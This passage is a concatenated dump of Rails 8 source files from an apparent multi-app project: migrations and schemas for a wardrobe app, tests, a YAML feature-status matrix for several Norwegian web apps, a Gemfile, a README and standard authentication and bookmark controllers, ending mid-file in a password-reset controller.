t.decimal :environmental_score, precision: 8, scale: 2
t.json :metadata
t.timestamps
end
create_table :affiliate_links do |t|
t.references :item, null: false, foreign_key: true
t.string :merchant, null: false
t.string :url, null: false
t.decimal :commission_rate, precision: 8, scale: 4
t.json :metadata
t.timestamps
end
create_table :style_preferences do |t|
t.references :user, null: false, foreign_key: true
t.string :kind, null: false, default: "aesthetic"
t.string :name, null: false
t.decimal :weight, precision: 8, scale: 4, null: false, default: 1.0
t.json :metadata
t.timestamps
end
add_index :style_preferences, %i[user_id kind name], unique: true
create_table :recommendations do |t|
t.references :user, null: false, foreign_key: true
t.references :item, foreign_key: true
t.references :outfit, foreign_key: true
t.string :kind, null: false
t.text :reason, null: false
t.decimal :score, precision: 8, scale: 4
t.datetime :dismissed_at
t.json :metadata
t.timestamps
end
add_index :recommendations, %i[user_id kind dismissed_at]
create_table :packing_lists do |t|
t.references :user, null: false, foreign_key: true
t.string :name, null: false
t.string :destination
t.date :starts_on, null: false
t.date :ends_on, null: false
t.json :weather_context
t.timestamps
end
create_table :packing_list_items do |t|
t.references :packing_list, null: false, foreign_key: true
t.references :item, null: false, foreign_key: true
t.integer :quantity, null: false, default: 1
t.boolean :packed, null: false, default: false
t.timestamps
end
add_index :packing_list_items, %i[packing_list_id item_id], unique: true
create_table :identity_verifications do |t|
t.references :user, null: false, foreign_key: true
t.string :kind, null: false, default: "human"
t.string :status, null: false, default: "pending"
t.string :reviewer
t.datetime :reviewed_at
t.json :metadata
t.timestamps
end
create_table :consent_events do |t|
t.references :user, null: false, foreign_key: true
t.string :purpose, null: false
t.string :decision, null: false
t.json :metadata
t.timestamps
end
add_column :items, :analysis_status, :string unless column_exists?(:items, :analysis_status)
add_column :items, :metadata, :json unless column_exists?(:items, :metadata)
end
end# frozen_string_literal: true
class AddDeclutterLogic < ActiveRecord::Migration[8.1]
def change
add_column :items, :lifecycle_state, :string, null: false, default: "active" unless column_exists?(:items, :lifecycle_state)
add_column :items, :last_worn_on, :date unless column_exists?(:items, :last_worn_on)
create_table :declutter_reviews do |t|
t.references :user, null: false, foreign_key: true
t.references :item, null: false, foreign_key: true
t.string :reason_kept
t.string :decision
t.text :notes
t.json :metadata
t.timestamps
end
add_index :declutter_reviews, %i[user_id item_id], unique: true
create_table :declutter_challenges do |t|
t.references :user, null: false, foreign_key: true
t.references :item, null: false, foreign_key: true
t.references :outfit, foreign_key: true
t.date :due_on, null: false
t.string :status, null: false, default: "pending"
t.datetime :completed_at
t.string :note
t.json :metadata
t.timestamps
end
add_index :declutter_challenges, %i[user_id status due_on]
create_table :declutter_outcomes do |t|
t.references :user, null: false, foreign_key: true
t.references :item, null: false, foreign_key: true
t.string :action, null: false
t.decimal :amount_recovered, precision: 10, scale: 2
t.text :notes
t.json :metadata
t.timestamps
end
add_index :declutter_outcomes, %i[user_id action created_at]
end
end# frozen_string_literal: true
ActiveRecord::Schema[7.1].define(version: 1) do
create_table "solid_queue_blocked_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.string "queue_name", null: false
t.integer "priority", default: 0, null: false
t.string "concurrency_key", null: false
t.datetime "expires_at", null: false
t.datetime "created_at", null: false
t.index [ "concurrency_key", "priority", "job_id" ], name: "index_solid_queue_blocked_executions_for_release"
t.index [ "expires_at", "concurrency_key" ], name: "index_solid_queue_blocked_executions_for_maintenance"
t.index [ "job_id" ], name: "index_solid_queue_blocked_executions_on_job_id", unique: true
end
create_table "solid_queue_claimed_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.bigint "process_id"
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_claimed_executions_on_job_id", unique: true
t.index [ "process_id", "job_id" ], name: "index_solid_queue_claimed_executions_on_process_id_and_job_id"
end
create_table "solid_queue_failed_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.text "error"
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_failed_executions_on_job_id", unique: true
end
create_table "solid_queue_jobs", force: :cascade do |t|
t.string "queue_name", null: false
t.string "class_name", null: false
t.text "arguments"
t.integer "priority", default: 0, null: false
t.string "active_job_id"
t.datetime "scheduled_at"
t.datetime "finished_at"
t.string "concurrency_key"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index [ "active_job_id" ], name: "index_solid_queue_jobs_on_active_job_id"
t.index [ "class_name" ], name: "index_solid_queue_jobs_on_class_name"
t.index [ "finished_at" ], name: "index_solid_queue_jobs_on_finished_at"
t.index [ "queue_name", "finished_at" ], name: "index_solid_queue_jobs_for_filtering"
t.index [ "scheduled_at", "finished_at" ], name: "index_solid_queue_jobs_for_alerting"
end
create_table "solid_queue_pauses", force: :cascade do |t|
t.string "queue_name", null: false
t.datetime "created_at", null: false
t.index [ "queue_name" ], name: "index_solid_queue_pauses_on_queue_name", unique: true
end
create_table "solid_queue_processes", force: :cascade do |t|
t.string "kind", null: false
t.datetime "last_heartbeat_at", null: false
t.bigint "supervisor_id"
t.integer "pid", null: false
t.string "hostname"
t.text "metadata"
t.datetime "created_at", null: false
t.string "name", null: false
t.index [ "last_heartbeat_at" ], name: "index_solid_queue_processes_on_last_heartbeat_at"
t.index [ "name", "supervisor_id" ], name: "index_solid_queue_processes_on_name_and_supervisor_id", unique: true
t.index [ "supervisor_id" ], name: "index_solid_queue_processes_on_supervisor_id"
end
create_table "solid_queue_ready_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.string "queue_name", null: false
t.integer "priority", default: 0, null: false
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_ready_executions_on_job_id", unique: true
t.index [ "priority", "job_id" ], name: "index_solid_queue_poll_all"
t.index [ "queue_name", "priority", "job_id" ], name: "index_solid_queue_poll_by_queue"
end
create_table "solid_queue_recurring_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.string "task_key", null: false
t.datetime "run_at", null: false
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_recurring_executions_on_job_id", unique: true
t.index [ "task_key", "run_at" ], name: "index_solid_queue_recurring_executions_on_task_key_and_run_at", unique: true
end
create_table "solid_queue_recurring_tasks", force: :cascade do |t|
t.string "key", null: false
t.string "schedule", null: false
t.string "command", limit: 2048
t.string "class_name"
t.text "arguments"
t.string "queue_name"
t.integer "priority", default: 0
t.boolean "static", default: true, null: false
t.text "description"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index [ "key" ], name: "index_solid_queue_recurring_tasks_on_key", unique: true
t.index [ "static" ], name: "index_solid_queue_recurring_tasks_on_static"
end
create_table "solid_queue_scheduled_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.string "queue_name", null: false
t.integer "priority", default: 0, null: false
t.datetime "scheduled_at", null: false
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_scheduled_executions_on_job_id", unique: true
t.index [ "scheduled_at", "priority", "job_id" ], name: "index_solid_queue_dispatch_all"
end
create_table "solid_queue_semaphores", force: :cascade do |t|
t.string "key", null: false
t.integer "value", default: 1, null: false
t.datetime "expires_at", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index [ "expires_at" ], name: "index_solid_queue_semaphores_on_expires_at"
t.index [ "key", "value" ], name: "index_solid_queue_semaphores_on_key_and_value"
t.index [ "key" ], name: "index_solid_queue_semaphores_on_key", unique: true
end
add_foreign_key "solid_queue_blocked_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_claimed_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_failed_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_ready_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_recurring_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_scheduled_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
end# frozen_string_literal: true
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# This file is the source Rails uses to define your schema when running `bin/rails
# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema[8.1].define(version: 2026_05_04_180410) do
create_table "active_storage_attachments", force: :cascade do |t|
t.bigint "blob_id", null: false
t.datetime "created_at", null: false
t.string "name", null: false
t.bigint "record_id", null: false
t.string "record_type", null: false
t.index ["blob_id"], name: "index_active_storage_attachments_on_blob_id"
t.index ["record_type", "record_id", "name", "blob_id"], name: "index_active_storage_attachments_uniqueness", unique: true
end
create_table "active_storage_blobs", force: :cascade do |t|
t.bigint "byte_size", null: false
t.string "checksum"
t.string "content_type"
t.datetime "created_at", null: false
t.string "filename", null: false
t.string "key", null: false
t.text "metadata"
t.string "service_name", null: false
t.index ["key"], name: "index_active_storage_blobs_on_key", unique: true
end
create_table "active_storage_variant_records", force: :cascade do |t|
t.bigint "blob_id", null: false
t.string "variation_digest", null: false
t.index ["blob_id", "variation_digest"], name: "index_active_storage_variant_records_uniqueness", unique: true
end
create_table "items", force: :cascade do |t|
t.string "brand"
t.string "category"
t.string "color"
t.datetime "created_at", null: false
t.string "life_phase"
t.string "material"
t.string "mood_effect"
t.string "occasion_tags"
t.decimal "price"
t.date "purchase_date"
t.string "season"
t.string "size"
t.boolean "spark_joy"
t.integer "times_worn"
t.string "title"
t.datetime "updated_at", null: false
t.integer "user_id", null: false
t.index ["user_id"], name: "index_items_on_user_id"
end
create_table "outfit_items", force: :cascade do |t|
t.datetime "created_at", null: false
t.integer "item_id", null: false
t.integer "outfit_id", null: false
t.integer "position"
t.datetime "updated_at", null: false
t.index ["item_id"], name: "index_outfit_items_on_item_id"
t.index ["outfit_id"], name: "index_outfit_items_on_outfit_id"
end
create_table "planned_outfits", force: :cascade do |t|
t.datetime "created_at", null: false
t.text "notes"
t.integer "outfit_id", null: false
t.date "planned_date"
t.datetime "updated_at", null: false
t.integer "user_id", null: false
t.index ["outfit_id"], name: "index_planned_outfits_on_outfit_id"
t.index ["user_id"], name: "index_planned_outfits_on_user_id"
end
create_table "sessions", force: :cascade do |t|
t.datetime "created_at", null: false
t.string "ip_address"
t.datetime "updated_at", null: false
t.string "user_agent"
t.integer "user_id", null: false
t.index ["user_id"], name: "index_sessions_on_user_id"
end
create_table "users", force: :cascade do |t|
t.datetime "created_at", null: false
t.string "email_address", null: false
t.string "password_digest", null: false
t.datetime "updated_at", null: false
t.index ["email_address"], name: "index_users_on_email_address", unique: true
end
add_foreign_key "active_storage_attachments", "active_storage_blobs", column: "blob_id"
add_foreign_key "active_storage_variant_records", "active_storage_blobs", column: "blob_id"
add_foreign_key "items", "users"
add_foreign_key "outfit_items", "items"
add_foreign_key "outfit_items", "outfits"
add_foreign_key "planned_outfits", "outfits"
add_foreign_key "planned_outfits", "users"
add_foreign_key "sessions", "users"
end# frozen_string_literal: true
# This file should ensure the existence of records required to run the application in every environment (production,
# development, test). The code here should be idempotent so that it can be executed at any point in every environment.
# The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup).
#
# Example:
#
# ["Action", "Comedy", "Drama", "Horror"].each do |genre_name|
# MovieGenre.find_or_create_by!(name: genre_name)
# end# frozen_string_literal: true
require "test_helper"
class AmberScriptTest < ActiveSupport::TestCase
SCRIPT = Rails.root.join("..", "amber.sh")
test "deploy script is configured for amber instead of a template placeholder" do
content = SCRIPT.read
assert_includes content, "APP_NAME=amber"
refute_includes content, "%APP_NAME%"
assert_includes content, "APP_DOMAIN=amber.brgen.no"
end
test "deploy script avoids self-copying an amber bundle cache" do
content = SCRIPT.read
assert_includes content, "SHARED_BUNDLE_CACHE"
assert_includes content, "${bundle_home} != /home/amber/.bundle"
end
test "deploy script uses modern bundler deployment configuration" do
content = SCRIPT.read
assert_includes content, "bundle config set --local deployment true"
assert_includes content, "bundle config set --local without 'development test'"
refute_includes content, "bundle install --deployment --without"
end
end# frozen_string_literal: true
require "test_helper"
class ItemTest < ActiveSupport::TestCase
test "cost_per_wear is nil until price and wears are usable" do
item = Item.new(price: 100, times_worn: 0)
assert_nil item.cost_per_wear
item.times_worn = nil
assert_nil item.cost_per_wear
end
test "cost_per_wear rounds to two decimals" do
item = Item.new(price: 100, times_worn: 3)
assert_equal 33.33, item.cost_per_wear
end
test "occasions normalizes comma-separated tags" do
item = Item.new(occasion_tags: "work, casual,travel")
assert_equal ["work", "casual", "travel"], item.occasions
end
end# frozen_string_literal: true
require "test_helper"
class WardrobeAiServiceTest < ActiveSupport::TestCase
class FakeClient
def initialize(content: nil, error: nil)
@content = content
@error = error
end
def chat(parameters:)
raise @error if @error
{
"choices" => [
{ "message" => { "content" => @content } }
]
}
end
end
test "analyze_joy returns safe defaults when no API key is configured" do
item = Item.new(title: "Blue jacket", category: "Outerwear")
service = WardrobeAiService.new(User.new)
result = service.analyze_joy(item)
assert_nil result["sparks_joy"]
assert_equal "Analysis unavailable", result["reason"]
assert_equal "Trust your instincts", result["suggestion"]
end
test "chat-backed methods tolerate invalid JSON" do
item = Item.new(title: "Blue jacket", category: "Outerwear")
client = FakeClient.new(content: "not json")
service = WardrobeAiService.new(User.new, client: client)
result = service.analyze_joy(item)
assert_nil result["sparks_joy"]
assert_equal "Analysis unavailable", result["reason"]
assert_equal "Trust your instincts", result["suggestion"]
end
test "suggest_outfits returns an empty array when provider fails" do
user = User.new
def user.items = Item.none
service = WardrobeAiService.new(user, client: FakeClient.new(error: StandardError.new("boom")))
assert_equal [], service.suggest_outfits
end
end# frozen_string_literal: true
ENV["RAILS_ENV"] ||= "test"
require_relative "../config/environment"
require "rails/test_help"
module ActiveSupport
class TestCase
parallelize(workers: :number_of_processors)
fixtures :all
end
end# Canonical deploy metadata and feature matrix for Rails apps under DEPLOY/rails.
#
# Status values:
# done verified in pub4/DEPLOY/rails/<app>/app
# port old implementation exists in anon987654321/pub repo — needs porting to Rails 8 / Hotwire / Falcon / SQLite
# missing no implementation found anywhere
# planned roadmap only, no code
#
# Cross-cutting dimensions tracked below:
# visual_inheritance, activity_graph, multimodal_photo, openbsd_readiness, llm_scan_ready
#
# Run `/scan deep DEPLOY/rails/<app>/app` through MASTER to verify `done` claims.
# Sources: pub4 orbs/ extracted models, patch_tv_models.sh, brgen_seeds.rb,
# anon987654321/pub repo READMEs, brgen_app/ models,
# ~/pub4/tmp/pub_extract/ (generator scripts from __OLD_BACKUPS tgz archives).
apps:
brgen:
title: Brgen
domain: brgen.no
port: 38182
stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, Solid Queue, Solid Cache, OpenBSD, relayd
stack_later: PostgreSQL where needed, city graph scaling, richer SNI/domain routing
deploy_script: DEPLOY/rails/brgen/brgen.sh
app_path: DEPLOY/rails/brgen/app
public: true
features:
core:
- { name: User model + auth, status: done }
- { name: Community (slug, name, description), status: done }
- { name: Post (title, content, hot/fresh/top scopes), status: done }
- { name: Comment (threaded, polymorphic, controversial scope), status: done }
- { name: Vote / Like (polymorphic, karma side-effect), status: done }
- { name: Hashtag + Tagging join, status: done }
- { name: Mention model, status: done }
- { name: Votable concern, status: done }
- { name: Hotwire broadcasts_refreshes, status: done }
- { name: OmniAuth (Vipps / Google / Snapchat), status: port }
- { name: Reaction (polymorphic on posts/messages, ActionCable), status: port }
- { name: Follow (self-join, no self-follows, notifications), status: port }
- { name: Notification (like/follow/custom, mark_as_read), status: port }
- { name: DirectMessage (conversation_between, mark_as_read), status: port }
- { name: full-text search (SQLite FTS5), status: port }
- { name: reading_time_minutes on posts, status: port }
- { name: city-scoped subdomain routing, status: missing }
- { name: proximity / geolocation filtering, status: missing }
- { name: moderation tools, status: missing }
- { name: media pipeline (Active Storage variants), status: missing }
- { name: photo/multimodal upload (visitor allowed on public surface), status: done, notes: "intentionally open for chat vision; see WIRING_NOTES.md" }
- { name: unified Activity graph emission, status: port, notes: "core to recommendations & discovery across verticals; see brgen_CORE.md + WIRING_NOTES.md" }
- { name: AI feed ranking, status: planned }
- { name: creator monetization, status: planned }
- { name: maps surface, status: planned }
subapp_tv:
- { name: Tv::Channel (slug, avatar, banner, subscribers_count), status: done, notes: patch_tv_models.sh }
- { name: Tv::Video (status machine, duration_formatted), status: done }
- { name: Tv::Broadcast (stream_key, go_live!/end_live!), status: done }
- { name: Tv::Subscription, status: done }
- { name: Tv::ViewEvent, status: done }
- { name: Tv::Show, status: missing }
- { name: Tv::Episode, status: missing }
- { name: video upload + Active Storage variants, status: missing }
- { name: live stream infrastructure, status: planned }
- { name: VideoPublished / BroadcastScheduled events, status: missing }
subapp_dating:
- { name: Dating::Profile (user, bio, interests), status: port }
- { name: Dating::Like (user, liked_user), status: port }
- { name: Dating::Dislike (user, disliked_user), status: port }
- { name: Dating::Match (MatchmakingService — mutual likes), status: port }
- { name: swipe UI (Turbo Streams, Stimulus), status: port }
- { name: city + radius filter, status: missing }
- { name: match → messaging handoff, status: missing }
- { name: photos on profile, status: missing }
- { name: premium memberships / boost purchases, status: planned }
subapp_marketplace:
notes: Old impl used Solidus — pub4 needs native Rails 8 models instead
items:
- { name: Marketplace::Product (name, description, price, image), status: port }
- { name: Marketplace::Category, status: port }
- { name: Marketplace::Review, status: port }
- { name: schema.org Product microdata in views, status: port }
- { name: Marketplace::Order (state machine), status: missing }
- { name: buyer–seller Chat, status: missing }
- { name: geo-localized listings, status: missing }
- { name: locale subdomain routing (markedsplass/markadur/…), status: missing }
- { name: FTS filtering, status: port }
- { name: AI recommendations, status: planned }
subapp_playlist:
- { name: Playlist::Set (name, description, user), status: port }
- { name: Playlist::Track (name, artist, audio_url, set), status: port }
- { name: schema.org microdata in views, status: port }
- { name: Playlist::Listen, status: missing }
- { name: embeddable player, status: port }
- { name: Spotify/YouTube/SoundCloud import, status: missing }
- { name: city-scoped trending feed, status: missing }
- { name: expiration dates on tracks, status: missing }
- { name: creator donations / ad-free tier, status: planned }
subapp_takeaway:
- { name: Takeaway::Item (name, description, price), status: port }
- { name: Takeaway::Order (user, status:string), status: port }
- { name: Restaurant model (geocoding), status: missing }
- { name: MenuItem availability state machine, status: missing }
- { name: Order full state machine (placed→delivered), status: missing }
amber:
title: Amber
domain: amber.brgen.no
port: 61352
stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
stack_later: PostgreSQL, pgvector, multimodal retrieval, richer PWA/offline features
deploy_script: DEPLOY/rails/amber/amber.sh
app_path: DEPLOY/rails/amber/app
public: true
features:
core:
- { name: Item (title, color, size, material, texture, brand, price, category, sku, release_date, stock_quantity, available, user), status: done, notes: pub4 version adds mood/occasion/life_phase/times_worn on top }
- { name: cost_per_wear calculation, status: done }
- { name: wear! increment, status: done }
- { name: aging_unworn / never_worn scopes, status: done }
- { name: Outfit (likes_count), status: done }
- { name: OutfitItem join (position), status: done }
- { name: Item photos (Active Storage has_many_attached), status: done }
- { name: Hotwire broadcasts_refreshes on Item/Outfit, status: done }
- { name: items + outfits index/show views, status: done }
- { name: Post model for amber social feed, status: done }
- { name: Wardrobe model (collection container), status: port }
- { name: Connection model (follow / friend), status: port }
- { name: LiveStream model, status: port }
- { name: Message model, status: port }
- { name: wardrobe upload UI (drag-and-drop), status: missing }
- { name: garment segmentation / background removal, status: missing }
- { name: outfit generation by weather/season/event, status: missing }
- { name: style evolution timeline / aesthetic phases, status: missing }
- { name: underused item surfacing, status: missing }
- { name: wardrobe analytics dashboard, status: port }
- { name: closet organisation tips (AI), status: missing }
- { name: social feed, status: missing }
- { name: affiliate commerce links, status: port }
planned:
- { name: fashion embeddings (pgvector), status: planned }
- { name: visual similarity search, status: planned }
- { name: virtual fitting room, status: planned }
- { name: mood matcher, status: planned }
- { name: event outfit planner, status: planned }
- { name: sustainable styles / resale, status: planned }
- { name: weather-based suggestions, status: planned }
- { name: global trends / local designer highlights, status: planned }
- { name: style agents (MASTER integration), status: planned }
baibl:
title: Baibl
domain: baibl.no
port: 10007
stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
stack_later: PostgreSQL, pgvector, GraphRAG, semantic scripture retrieval
deploy_script: DEPLOY/rails/baibl/baibl.sh
app_path: DEPLOY/rails/baibl/app
public: true
features:
core:
- { name: Verse model, status: port }
- { name: Translation model (Aramaic/KJV/multi-language), status: port }
- { name: Analysis model (AI linguistic, confidence scoring), status: port }
- { name: Comment model (threaded), status: port }
- { name: full-text scripture search, status: port }
- { name: real-time translation (Hotwire), status: port }
- { name: AI linguistic analysis (OpenAI / Langchain), status: port }
- { name: Norwegian interface, status: port }
- { name: Genesis Ch.1 trilingual seed data, status: port }
- { name: Book / Chapter navigation, status: missing }
- { name: collaborative annotation (Annotation model), status: missing }
- { name: Theme / Doctrine cross-reference, status: missing }
- { name: historical context layer, status: missing }
- { name: linguistic context (Hebrew/Greek morphology), status: missing }
- { name: RESTful API, status: port }
planned:
- { name: study groups, status: planned }
- { name: reading plans, status: planned }
- { name: offline sync, status: planned }
- { name: GraphRAG theology graph (pgvector), status: planned }
- { name: seminary integration, status: planned }
blognet:
title: Blognet
domain: blognet.no
port: 10002
stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
stack_later: PostgreSQL, pgvector, editorial knowledge graph, Foodielicious vertical routing
deploy_script: DEPLOY/rails/blognet/blognet.sh
app_path: DEPLOY/rails/blognet/app
public: true
features:
core:
- { name: Blog model, status: port }
- { name: Post / Article model, status: port }
- { name: Category model, status: port }
- { name: Comment model (polymorphic), status: port }
- { name: Like model (polymorphic), status: port }
- { name: multi-domain megablog routing (foodielicio.us etc.), status: port }
- { name: public/megablog/private privacy tiers, status: port }
- { name: Author profile, status: missing }
- { name: RSS / Atom feed, status: missing }
- { name: structured article metadata (schema.org), status: missing }
- { name: semantic search, status: missing }
- { name: Membership / Subscription / paywall, status: missing }
- { name: AI narration (TTS article), status: missing }
- { name: citation system, status: missing }
- { name: editorial workflow (draft/review/publish), status: missing }
- { name: AI recommendations, status: port }
- { name: ad-supported + sponsored posts, status: planned }
foodielicious:
notes: Food vertical, public brand foodielicio.us
items:
- { name: Recipe model (structured schema.org), status: missing }
- { name: Ingredient model + metadata, status: missing }
- { name: step-by-step cooking view, status: missing }
- { name: recipe collections / playlists, status: missing }
- { name: rich media gallery (lightGallery.js), status: missing }
- { name: short-form food clips, status: missing }
- { name: locality-aware restaurant references, status: missing }
- { name: seasonal food guides, status: missing }
multimedia_pipeline:
- { name: article → podcast, status: missing }
- { name: article → summary, status: missing }
- { name: article → video, status: missing }
- { name: article → thread, status: missing }
research_mode:
- { name: semantic note system, status: planned }
- { name: source clustering, status: planned }
- { name: timeline generation, status: planned }
- { name: knowledge archives, status: planned }
bsdports:
title: bsdports
domain: bsdports.org
port: 47312
stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
stack_later: PostgreSQL, pgvector, infrastructure knowledge graph, OpenBSD package intelligence
deploy_script: DEPLOY/rails/bsdports/bsdports.sh
app_path: DEPLOY/rails/bsdports/app
public: true
features:
core:
- { name: Platform (name) — OpenBSD/FreeBSD/NetBSD, status: port }
- { name: Category (name, platform), status: port }
- { name: Port (name, summary, url, description, category, platform), status: port, notes: generator calls model Port not Package }
- { name: Dependency model, status: missing, notes: described in README but not in generator }
- { name: SecurityAdvisory model, status: missing, notes: described in README but not in generator }
- { name: Maintainer model, status: missing }
- { name: live search on name/summary/description (Hotwire), status: port }
- { name: FTP import of real ports tree (OpenBSD/FreeBSD/NetBSD), status: port }
- { name: dependency tree visualization, status: missing }
- { name: ports tree scheduled re-import job, status: missing }
- { name: WCAG AAA compliance pass, status: missing }
- { name: AI exploration assistant, status: missing }
planned:
- { name: semantic package search (pgvector), status: planned }
- { name: infrastructure knowledge graph, status: planned }
- { name: OpenBSD package intelligence, status: planned }
hjerterom:
title: Hjerterom
domain: hjerterom.no
port: 38891
stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
stack_later: PostgreSQL, route optimization, reporting jobs, operational forecasting
deploy_script: DEPLOY/rails/hjerterom/hjerterom.sh
app_path: DEPLOY/rails/hjerterom/app
public: true
features:
core:
- { name: Donation / FoodItem intake model, status: missing }
- { name: Box (weekly food parcel) coordination, status: missing }
- { name: Volunteer model (shifts, availability), status: missing }
- { name: shift scheduling + notifications, status: missing }
- { name: Donor model + management, status: missing }
- { name: Beneficiary model + matching, status: missing }
- { name: clothing / toy / book reuse tracking, status: missing }
- { name: distribution route optimization, status: missing }
planned:
- { name: reporting jobs (Solid Queue), status: planned }
- { name: operational forecasting, status: planned }source "https://rubygems.org"
ruby "~> 3.4"
# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 8.1.2"
# The modern asset pipeline for Rails [https://github.com/rails/propshaft]
gem "propshaft"
# Use sqlite3 as the database for Active Record
gem "sqlite3", ">= 2.1"
# Use the Puma web server [https://github.com/puma/puma]
# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]
gem "importmap-rails"
# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]
gem "turbo-rails"
# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]
gem "stimulus-rails"
# Build JSON APIs with ease [https://github.com/rails/jbuilder]
gem "jbuilder"
# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]
# gem "bcrypt", "~> 3.1.7"
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
gem "tzinfo-data", platforms: %i[ windows jruby ]
# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable
gem "solid_cache"
gem "solid_queue"
gem "solid_cable"
# Reduces boot times through caching; required in config/boot.rb
gem "bootsnap", require: false
# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
gem "image_processing", "~> 1.2"
group :development, :test do
# See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem
gem "debug", platforms: %i[ mri windows ], require: "debug/prelude"
# Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)
gem "bundler-audit", require: false
# Static analysis for security vulnerabilities [https://brakemanscanner.org/]
gem "brakeman", require: false
# Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]
gem "rubocop-rails-omakase", require: false
end
group :development do
# Use console on exceptions pages [https://github.com/rails/web-console]
gem "web-console"
end
gem "pagy"
gem "prism", "1.9.0"
gem "falcon"
# baibl — scripture and theology graph
Most Bible apps are readers. baibl is a study and knowledge system — semantic search, collaborative annotation, doctrinal mapping, and AI-assisted exploration in one shared theology graph.
## Features
- Semantic scripture search across translations
- Collaborative annotation and commentary threads
- Theme and doctrine cross-referencing
- Historical and linguistic context layers
- AI study assistant
## Stack
Rails 8 · SQLite · Falcon · Hotwire · OpenBSD
## Deploy
```zsh
doas zsh DEPLOY/rails/baibl/baibl.shStudy groups · reading plans · offline sync · seminary integration
## `rails/baibl/app/controllers/application_controller.rb`
```ruby
# frozen_string_literal: true
class ApplicationController < ActionController::Base
include Authentication
include Pagy::Method
allow_browser versions: :modern
end
# frozen_string_literal: true
class BookmarksController < ApplicationController
before_action :require_authentication
def index
@pagy, @bookmarks = pagy(Current.user.bookmarks.includes(verse: [:book, :chapter]))
end
def create
verse = Verse.find(params[:verse_id])
@bookmark = Current.user.bookmarks.find_or_create_by!(verse: verse)
respond_to do |format|
format.turbo_stream
format.json { render json: { status: "ok" } }
end
end
def destroy
@bookmark = Current.user.bookmarks.find(params[:id])
@bookmark.destroy!
respond_to do |format|
format.turbo_stream
format.html { redirect_to bookmarks_path }
end
end
end# frozen_string_literal: true
module Authentication
extend ActiveSupport::Concern
included do
before_action :require_authentication
helper_method :authenticated?
end
class_methods do
def allow_unauthenticated_access(**options)
skip_before_action :require_authentication, **options
end
end
private
def authenticated?
resume_session
end
def require_authentication
resume_session || request_authentication
end
def resume_session
Current.session ||= find_session_by_cookie
end
def find_session_by_cookie
Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]
end
def request_authentication
session[:return_to_after_authenticating] = request.url
redirect_to new_session_path
end
def after_authentication_url
session.delete(:return_to_after_authenticating) || root_url
end
def start_new_session_for(user)
user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|
Current.session = session
cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }
end
end
def terminate_session
Current.session.destroy
cookies.delete(:session_id)
end
end# frozen_string_literal: true
class HighlightsController < ApplicationController
before_action :require_authentication
def create
verse = Verse.find(params[:verse_id])
@highlight = Current.user.highlights.find_or_initialize_by(verse: verse)
@highlight.update!(color: params[:color] || "yellow")
respond_to do |format|
format.turbo_stream
format.json { render json: { status: "ok" } }
end
end
def destroy
@highlight = Current.user.highlights.find(params[:id])
@highlight.destroy!
respond_to do |format|
format.turbo_stream
format.json { render json: { status: "ok" } }
end
end
end# frozen_string_literal: true
class PasswordsController < ApplicationController
allow_unauthenticated_access
before_action :set_user_by_token, only: %i[ edit update ]
rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_password_path, alert: "Try again later." }
def new
end
def create
if user = User.find_by(email_address: params[:email_address])
PasswordsMailer.reset(user).deliver_later
end
redirect_to new_session_path, notice: "Password reset instructions sent (if user with that email address exists)."
end
def edit
end
def update
if @user.update(params.permit(:password, :password_confirmation))
@user.sessions.destroy_all
redirect_to new_session_path, notice: "Password has been reset."
else
redirect_to edit_password_path(params[:token]), alert: "Passwords did not match."
end
end
private
def set_user_by_token
@user = User.find_by_password_reset_token!(params[:token])
